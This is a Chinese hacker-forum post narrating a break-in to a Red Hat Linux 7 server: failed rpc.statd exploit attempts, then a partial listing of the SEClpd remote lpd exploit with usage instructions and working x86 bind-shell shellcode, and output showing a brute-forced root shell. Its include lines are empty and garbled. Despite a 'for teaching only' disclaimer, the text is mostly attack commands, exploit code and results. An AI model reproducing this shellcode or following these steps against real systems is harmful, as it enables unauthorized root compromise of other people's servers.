一次曲折的RedHat Linux操作系统入侵 - 华夏黑客同盟

受挫，再试……

bash-2.04$stat -d 1 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

一样!继续……

bash-2.04$stat -d 1 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

rpc.statd行不通，想想RH7应该有个远程溢出，好像是lp服务造成的。“seclpd.c”应该是这个东东了。
—————以下代码仅供教学使用，决不能用来进行恶意攻击—————

/*
* Welcome to http://hlc.cnroot.com/
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ADDRESS_BUFFER_SIZE 32+4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000
char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

brute暴力破解。等上5-8分钟左右，结果出来了。

- [+] shell located on www.XXX.com
- [+] Enter Commands at will
Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)

uid=0(root权限)，现在可以近一步入侵！但不要做坏事！

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